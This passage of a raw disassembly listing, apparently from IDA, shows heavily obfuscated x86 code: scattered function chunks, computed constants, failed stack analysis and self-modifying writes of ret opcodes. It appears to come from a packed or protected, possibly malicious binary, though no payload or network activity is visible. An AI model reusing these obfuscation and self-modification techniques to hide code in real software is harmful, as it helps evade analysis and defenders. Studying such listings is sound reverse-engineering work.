CHUNK FOR sub_43704E ; =============== S U B R O U T I N E ======================================= sub_4399C6 proc near ; DATA XREF: y22d6.y.:00442190o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004377D6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00440F79 SIZE 00000005 BYTES mov eax, [esp+0] push edx call sub_44B267 mov eax, 5389CFC1h push ebp jmp loc_4377D6 sub_4399C6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4399DA: ; CODE XREF: sub_4432B8+2011j jz loc_43BE59 jmp loc_437E96 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448E18 loc_4399E5: ; CODE XREF: sub_448E18+Ej mov eax, ds:dword_44659C push offset loc_43D09B loc_4399EF: ; CODE XREF: y22d6.y.:0043B713j jmp loc_44C9E6 ; END OF FUNCTION CHUNK FOR sub_448E18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_4399F4: ; CODE XREF: sub_4422AA:loc_44B6D8j ; sub_4422AA+943Bj rol ecx, 0Eh add ecx, 0B653A636h xchg ecx, [esp+4+var_4] jmp sub_44B267 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_439A05: ; CODE XREF: sub_4452EE-B66Bj jge loc_443A69 pushf jmp loc_44DD0C ; END OF FUNCTION CHUNK FOR sub_4452EE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_439A12: ; CODE XREF: sub_44807C:loc_443EE2j mov [ecx], eax pop ecx pushf push 0C6AAFC78h pop eax sub eax, 0EB992CECh xor eax, 0E63E4F18h jmp loc_437BDA ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_439A2D: ; CODE XREF: sub_439051:loc_442F40j push eax mov eax, edx call sub_4483BF mov eax, [esp-4+arg_0] push ecx push 36E0ADBEh jmp loc_4391D3 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- loc_439A43: ; CODE XREF: y22d6.y.:00437E07j jz loc_43E2F7 not edi xchg edx, ebx ; START OF FUNCTION CHUNK FOR sub_444581 loc_439A4D: ; CODE XREF: sub_444581:loc_441BE3j add ecx, 0DA3E88A4h loc_439A53: ; CODE XREF: sub_44E5C7:loc_43E6A6j xchg ecx, [esp+0] jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- loc_439A5B: ; CODE XREF: y22d6.y.:0044DB0Cj adc ecx, ebp ; =============== S U B R O U T I N E ======================================= sub_439A5D proc near ; CODE XREF: sub_43BD44+10FE0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043FED2 SIZE 00000020 BYTES xchg edx, [esp+0] pop edx xchg ebp, [esp-4+arg_0] mov edi, ebp pop ebp sub edi, 4160E384h jmp loc_43FED2 sub_439A5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_439A72: ; CODE XREF: y22d6.y.:004380F0j ja loc_43F912 ; =============== S U B R O U T I N E ======================================= sub_439A78 proc near ; CODE XREF: sub_44271A+BAC3p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043EB33 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004411A9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044272A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00448E0E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pushf jmp loc_4411A9 sub_439A78 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_439A82: ; CODE XREF: sub_438A94:loc_444918j add ebx, 108907BAh xchg ebx, [esp+4+var_4] jmp loc_446405 ; END OF FUNCTION CHUNK FOR sub_438A94 ; =============== S U B R O U T I N E ======================================= sub_439A90 proc near ; CODE XREF: sub_44C758:loc_4426FDp ; y22d6.y.:0044A809j ; FUNCTION CHUNK AT 0043BBAC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E134 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442B3B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00446441 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004474BD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044BEE4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C538 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C831 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044CFCF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E5BA SIZE 00000007 BYTES xchg edx, [esp+0] pop edx mov eax, [eax] popf mov al, [eax] jo loc_44BEE4 sub al, 99h push 9AEBD2Eh jmp loc_446441 sub_439A90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_439AAB: ; CODE XREF: sub_43CFF2:loc_44E1E7j push 7BF4D27Ch pop edx rol edx, 0Dh sub edx, 4F8378D8h rol edx, 1Dh add edx, 6FEA28E3h xor eax, edx jmp loc_445067 ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; =============== S U B R O U T I N E ======================================= sub_439ACA proc near ; CODE XREF: sub_449641-A3B2p ; y22d6.y.:0044BFEAj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch xchg edx, [esp+0] pop edx mov [edi], eax pop edi lea eax, sub_4419CC mov byte ptr [eax], 0C3h jmp sub_4419CC sub_439ACA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4419CC loc_439ADF: ; CODE XREF: sub_4419CC+1j mov eax, [esp+0] jmp loc_43FD2C ; END OF FUNCTION CHUNK FOR sub_4419CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_439AE7: ; CODE XREF: sub_43BA9E:loc_4482B8j mov edx, edi jmp loc_4452CE ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B39 loc_439AEE: ; CODE XREF: sub_438B39+4740j not eax push 9D9B1270h rol eax, 0Ah ; END OF FUNCTION CHUNK FOR sub_438B39 ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_439AF8: ; CODE XREF: sub_438B39:loc_4395EFj ; sub_448EB6:loc_43E3DDj ... jmp loc_4415C9 ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- jmp loc_44C6D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_439B02: ; CODE XREF: sub_4432B8:loc_444C65j ; sub_43B252+FF7Bj jz loc_44278F xchg esi, ebx jmp loc_44278E ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- locret_439B0F: ; CODE XREF: y22d6.y.:loc_447E22j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_439B10: ; CODE XREF: sub_43D20E+F9ABj jmp loc_43F80A ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_439B15: ; CODE XREF: sub_444F37-945j jmp loc_43C381 ; END OF FUNCTION CHUNK FOR sub_444F37 ; =============== S U B R O U T I N E ======================================= sub_439B1A proc near ; CODE XREF: sub_44D6D0-1060Fp ; y22d6.y.:0044CF94j arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx add ecx, 0D63321ADh xchg ecx, [esp-4+arg_0] jmp sub_4480DE sub_439B1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_439B2C proc near ; CODE XREF: y22d6.y.:00440443j ; sub_4480FC+6p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043BD24 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043D0D0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00442080 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg eax, [esp-4+arg_0] mov esi, eax pop eax jmp loc_442080 sub_439B2C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_439B3B: ; CODE XREF: y22d6.y.:0043BC83j test ebp, 4FF57E26h jmp loc_44BBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439B46: ; CODE XREF: sub_448EB6-966Cj adc edi, eax ; END OF FUNCTION CHUNK FOR sub_448EB6 ; START OF FUNCTION CHUNK FOR sub_44B674 loc_439B48: ; CODE XREF: sub_44B674:loc_441BC7j ; sub_448EB6:loc_442D7Dj ... jmp sub_43F0F0 ; --------------------------------------------------------------------------- loc_439B4D: ; CODE XREF: sub_448EB6-7D8Ej ; sub_44B674-67A1j xchg edi, [esp+8+var_8] mov ecx, edi pop edi pop ebp jmp loc_4385B1 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_439B59: ; CODE XREF: sub_444427-5351j mov [esi], eax call sub_44B47A ; END OF FUNCTION CHUNK FOR sub_444427 ; START OF FUNCTION CHUNK FOR sub_445A15 loc_439B60: ; CODE XREF: sub_445A15-AC58j jmp loc_43CEBF ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_439B65: ; CODE XREF: sub_44DB81-C7F2j mov byte ptr [eax], 0C3h jmp loc_449371 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_439B6D: ; CODE XREF: sub_449641-B2F8j mov eax, [esp+0] push edx push esi mov esi, eax jmp loc_448460 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4418C5 loc_439B79: ; CODE XREF: sub_4418C5:loc_43E9ECj xor eax, 7884F0A2h and eax, 322E571Bh xor eax, 7F601189h add eax, 0A0F7C327h jmp loc_4471B9 ; END OF FUNCTION CHUNK FOR sub_4418C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_439B96: ; CODE XREF: sub_4432B8:loc_44626Cj jz loc_43E2F2 jmp loc_449115 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_439BA1: ; CODE XREF: sub_43704E+8A97j sub ebx, 9687756Ch jmp loc_44B826 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_439BAC: ; CODE XREF: sub_448C77-109B3j ; sub_448C77:loc_43DFCCj push esi loc_439BAD: ; CODE XREF: y22d6.y.:00441CD5j push 0E93EE60Bh pop esi or esi, 972F4AD6h xor esi, 5D6B9C6Ah cmp esi, 0F0354DE2h loc_439BC5: ; CODE XREF: y22d6.y.:004412FEj jmp loc_4459D2 ; END OF FUNCTION CHUNK FOR sub_448C77 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439BCA proc near ; CODE XREF: y22d6.y.:00439339p ; FUNCTION CHUNK AT 00441739 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_441739 sub_439BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442245 loc_439BD5: ; CODE XREF: sub_442245:loc_43FF7Cj xchg edi, [esp+0] jmp loc_437291 ; END OF FUNCTION CHUNK FOR sub_442245 ; --------------------------------------------------------------------------- call sub_448B15 loc_439BE2: ; CODE XREF: y22d6.y.:00444C19j jmp loc_4405D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439BE7: ; CODE XREF: sub_448EB6-D037j or edx, 24F1537Fh loc_439BED: ; CODE XREF: sub_448EB6:loc_448D1Bj adc eax, 4A8E5432h jmp loc_43F005 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_439BF8: ; CODE XREF: sub_43704E:loc_44455Cj jl loc_44DF44 ; END OF FUNCTION CHUNK FOR sub_43704E ; START OF FUNCTION CHUNK FOR sub_442C0C loc_439BFE: ; CODE XREF: sub_442C0C-9B7Bj jmp nullsub_78 ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- pushf jmp loc_44DF3D ; --------------------------------------------------------------------------- loc_439C09: ; CODE XREF: y22d6.y.:0043F767j jl loc_44B535 test eax, 25D06F10h jmp loc_43F5AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_439C1A: ; CODE XREF: sub_43D20E:loc_445DACj call sub_44734D loc_439C1F: ; CODE XREF: y22d6.y.:00439970j jmp loc_449972 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439C24: ; CODE XREF: sub_448EB6+564Cj sbb eax, 0ADA8C5C9h jmp loc_43A02B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_439C2F: ; CODE XREF: y22d6.y.:loc_44CD66j call sub_43F7FF call sub_441619 loc_439C39: ; CODE XREF: y22d6.y.:0043F9A7j jmp nullsub_18 ; =============== S U B R O U T I N E ======================================= sub_439C3E proc near ; CODE XREF: y22d6.y.:0043A63Bp ; y22d6.y.:0043BF7Cj ; FUNCTION CHUNK AT 0043E0BF SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov ds:off_41E104, eax lea eax, sub_44633F mov byte ptr [eax], 0C3h jmp loc_43E0BF sub_439C3E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_439C56: ; CODE XREF: y22d6.y.:00440417j call nullsub_281 jmp ds:dword_41E108 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C22F loc_439C61: ; CODE XREF: sub_43C22F+7B74j jmp sub_44B674 ; END OF FUNCTION CHUNK FOR sub_43C22F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_281. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_43B75B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C1E2 loc_439C6D: ; CODE XREF: sub_44C1E2+6j jmp loc_441D8E ; END OF FUNCTION CHUNK FOR sub_44C1E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D7AB loc_439C72: ; CODE XREF: sub_43D7AB+Fj jmp nullsub_327 ; END OF FUNCTION CHUNK FOR sub_43D7AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_439C77: ; CODE XREF: sub_4452EE-9ACBj jle loc_43B2B9 cmp ebx, 54F622E2h jmp loc_439A05 ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D22A loc_439C88: ; CODE XREF: sub_44D22A+Fj jz loc_44024C jmp loc_437731 ; END OF FUNCTION CHUNK FOR sub_44D22A ; --------------------------------------------------------------------------- loc_439C93: ; CODE XREF: y22d6.y.:00444E5Ej shl ecx, 0Bh ; =============== S U B R O U T I N E ======================================= sub_439C96 proc near ; CODE XREF: sub_43C7C1-40ACp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004385C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043956A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F938 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440308 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00440602 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044737C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004495B4 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx or eax, eax jnz loc_440310 jmp loc_4385C6 sub_439C96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D59A loc_439CA7: ; CODE XREF: sub_43D59A+10C1Ej xchg ebx, [esp+0] jmp loc_43FD27 ; END OF FUNCTION CHUNK FOR sub_43D59A ; --------------------------------------------------------------------------- loc_439CAF: ; CODE XREF: y22d6.y.:00444C3Aj jnp loc_43CAA8 ; =============== S U B R O U T I N E ======================================= sub_439CB5 proc near ; CODE XREF: sub_449CED-9166p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043B57C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004498CC SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ecx, 308D4DEh jmp loc_43B57C sub_439CB5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_439CC4: ; CODE XREF: y22d6.y.:loc_440FA8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4448C7 loc_439CC5: ; CODE XREF: sub_4448C7+Fj jmp loc_43FBD3 ; END OF FUNCTION CHUNK FOR sub_4448C7 ; --------------------------------------------------------------------------- loc_439CCA: ; DATA XREF: sub_44AFA1+1Eo add esi, 72E24A4h xchg esi, [esp] jmp loc_443253 ; --------------------------------------------------------------------------- loc_439CD8: ; DATA XREF: sub_43AC88+6o push edi mov edi, ebp push offset sub_44DA4B jmp loc_44CA75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_439CE5: ; CODE XREF: sub_447268-4EFAj call sub_439945 ; END OF FUNCTION CHUNK FOR sub_447268 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439CEA: ; CODE XREF: sub_448EB6-D327j ; y22d6.y.:0044CF8Cj cmp esi, 0C25574EBh jmp loc_4387C8 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_439CF5: ; CODE XREF: sub_44C59C-13C26j add eax, 0A6751D31h xor eax, 93B5A0FAh or eax, 612E477Ah add eax, 389BB822h jmp loc_43E32E ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_439D12: ; CODE XREF: sub_44AEDA-6DE5j jz loc_44BF3B jmp loc_44D574 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_439D1D: ; CODE XREF: sub_44BBBA-14474j xor ebp, 973A5D9Eh loc_439D23: ; CODE XREF: sub_43C55B:loc_448538j mov [ebp-18h], eax mov dword ptr [ebp-0Ch], 1 loc_439D2D: ; CODE XREF: sub_4431CD+Aj ; sub_44633F+5E91j push offset loc_44CD3B jmp loc_43F7F5 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439D37: ; CODE XREF: y22d6.y.:loc_43A78Fj ; sub_448EB6:loc_448FF4j rol eax, 3 xor eax, 49015C54h add eax, 31DBAF6Fh popf xchg eax, [esp-8+arg_4] jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_439D4F: ; CODE XREF: sub_43D20E:loc_441958j push 789418DDh pop esi xor esi, 6D7B5ECCh rol esi, 3 add esi, 50CAB09Ch xchg esi, [esp+0] jmp sub_43BE66 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_439D6C: ; CODE XREF: sub_44B635:loc_4473C6j adc ebx, 0F8EAAD74h adc eax, ebx xor edi, eax jmp loc_43B1BF ; END OF FUNCTION CHUNK FOR sub_44B635 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447C9E loc_439D7C: ; CODE XREF: sub_447C9E-5D5Fj jmp nullsub_325 ; END OF FUNCTION CHUNK FOR sub_447C9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ECDD loc_439D81: ; CODE XREF: sub_43ECDD+1Cj jmp loc_44E4A8 ; END OF FUNCTION CHUNK FOR sub_43ECDD ; --------------------------------------------------------------------------- loc_439D86: ; CODE XREF: y22d6.y.:00447DC1j add ebp, esi ; START OF FUNCTION CHUNK FOR sub_449641 loc_439D88: ; CODE XREF: sub_449641:loc_447D9Cj rol edx, 1Fh push offset sub_43E36B jmp loc_4413F1 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- loc_439D95: ; CODE XREF: y22d6.y.:00445E11j mov [esi], ecx adc esi, ecx mov [ecx], ebp ror edi, 3 loc_439D9E: ; CODE XREF: y22d6.y.:00445E08j add ecx, 6D940691h jmp loc_43E177 ; --------------------------------------------------------------------------- loc_439DA9: ; CODE XREF: y22d6.y.:00437E8Cj jns loc_444C98 test ebp, 0B83D28E2h jmp loc_449A70 ; --------------------------------------------------------------------------- loc_439DBA: ; CODE XREF: y22d6.y.:0043BE2Fj and edx, ebx jnp loc_44B2A4 ; START OF FUNCTION CHUNK FOR sub_43A148 loc_439DC2: ; CODE XREF: sub_43A148:loc_43BE19j add ecx, 0F63C23Fh add ecx, ebp call sub_44D64C ; END OF FUNCTION CHUNK FOR sub_43A148 ; START OF FUNCTION CHUNK FOR sub_43872E loc_439DCF: ; CODE XREF: sub_43872E:loc_443A57j push offset loc_43EAEC jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_439DD9: ; CODE XREF: sub_43E185+7561j jg loc_440A32 add esi, 6BDEDC9Ah sub ebx, 7396FCECh jmp loc_449189 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- push 0FB713821h jmp loc_43E624 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_439DFA: ; CODE XREF: sub_43FAC6:loc_43A330j add edx, 0E48E84CEh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_448917 jmp loc_43FF56 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_439E11: ; CODE XREF: sub_43B09B+2A7j xchg ebp, [ebx] jmp loc_449195 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_439E18: ; CODE XREF: y22d6.y.:loc_448DB8j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_449195 jmp loc_43A6C0 ; --------------------------------------------------------------------------- loc_439E2C: ; DATA XREF: sub_43C3DD:loc_43BA94o rol eax, 0Ah push eax push ebp mov ebp, ebx xchg ebp, [esp] push 32EF0FDBh xchg ebp, [esp] jmp loc_43F15D ; --------------------------------------------------------------------------- loc_439E43: ; DATA XREF: y22d6.y.:0044B6CEo push edx call sub_440AF5 call sub_44921D loc_439E4E: ; CODE XREF: y22d6.y.:0043E5D8j jb loc_4474A3 ; =============== S U B R O U T I N E ======================================= sub_439E54 proc near ; CODE XREF: sub_43DCC0p xchg edi, [esp+0] pop edi call sub_439E63 jmp ds:off_41E024 sub_439E54 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_439E63 proc near ; CODE XREF: sub_439E54+4p ; sub_441DA7:loc_43A5A5j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004384AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439FA2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043A05F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043B4F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F31B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004426EA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00443DD9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004448B9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044716A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447E8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044BC50 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0044CC57 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044D407 SIZE 00000005 BYTES pop edx jns loc_44BC5E mov eax, [esp-4+arg_0] jmp loc_4384AF sub_439E63 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D9D2 loc_439E72: ; CODE XREF: sub_43D9D2:loc_444613j add eax, edx call sub_44B3F8 ; END OF FUNCTION CHUNK FOR sub_43D9D2 ; START OF FUNCTION CHUNK FOR sub_43D9C7 loc_439E79: ; CODE XREF: sub_43D9C7-95Aj jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_43D9C7 ; --------------------------------------------------------------------------- xor edx, 0D79B95DEh jmp sub_447663 ; --------------------------------------------------------------------------- add ecx, 21E38ECFh jmp loc_43C1F4 ; --------------------------------------------------------------------------- loc_439E94: ; CODE XREF: y22d6.y.:0044BE5Bj mov [esi], ecx ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_439E96: ; CODE XREF: sub_4477E6:loc_44C773j xor ebx, 96B54FEAh add ebx, 107E8540h xchg ebx, [esp+4+var_4] jmp loc_43EB3E ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- mov ds:dword_41E0F0, eax lea eax, nullsub_118 mov byte ptr [eax], 0C3h jmp loc_44C783 ; --------------------------------------------------------------------------- loc_439EBE: ; CODE XREF: y22d6.y.:004460FFj mov eax, [esp] push edx push edx push 33F8FFD1h pop edx jmp loc_43EBC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4411BD loc_439ECE: ; CODE XREF: sub_4411BD:loc_444654j xor ecx, 0D8144924h add ecx, 0EBD055E8h xchg ecx, [esp+0] jmp loc_439423 ; END OF FUNCTION CHUNK FOR sub_4411BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_439EE2: ; CODE XREF: sub_44AA69+1F5Aj jnp loc_439479 sbb ecx, 70FD61EAh loc_439EEE: ; CODE XREF: sub_44AA69:loc_44A8D0j push edi mov edi, ebp xchg edi, [esp+4+var_4] jmp loc_445F4C ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_439EF9: ; CODE XREF: sub_44A359:loc_44AA8Dj mov eax, ds:dword_43E380 push offset loc_440B28 jmp loc_44D1B8 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- mov ds:dword_41E124, eax lea eax, nullsub_343 mov byte ptr [eax], 0C3h jmp nullsub_343 ; =============== S U B R O U T I N E ======================================= sub_439F1D proc near ; CODE XREF: sub_414C6F:loc_414D4Dp ; sub_439F1D+5j ; DATA XREF: ... call sub_439F2D jmp ds:off_41E128 sub_439F1D endp ; --------------------------------------------------------------------------- loc_439F28: ; CODE XREF: y22d6.y.:0044CA44j jmp sub_43CA1A ; =============== S U B R O U T I N E ======================================= sub_439F2D proc near ; CODE XREF: sub_439F1Dp ; sub_44051D+14F4j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437000 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00438AA1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043BE61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F202 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00446353 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044C649 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CB7C SIZE 00000009 BYTES jnz loc_44CB7C pop edx mov eax, [esp+4+var_4] jmp loc_43F202 sub_439F2D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_439F3C: ; CODE XREF: y22d6.y.:0044A982j jz loc_44C7E4 jmp loc_440E43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_439F47: ; CODE XREF: sub_43BEF7+2DCDj call sub_43AB31 cmp eax, [ebp-0Ch] jnz loc_44506C jmp loc_441935 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; =============== S U B R O U T I N E ======================================= sub_439F5A proc near ; DATA XREF: sub_4432B8+102Do arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043769F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00437C94 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 004380C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A80C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043AA9E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043ADC8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044068B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00440FA3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004438C8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 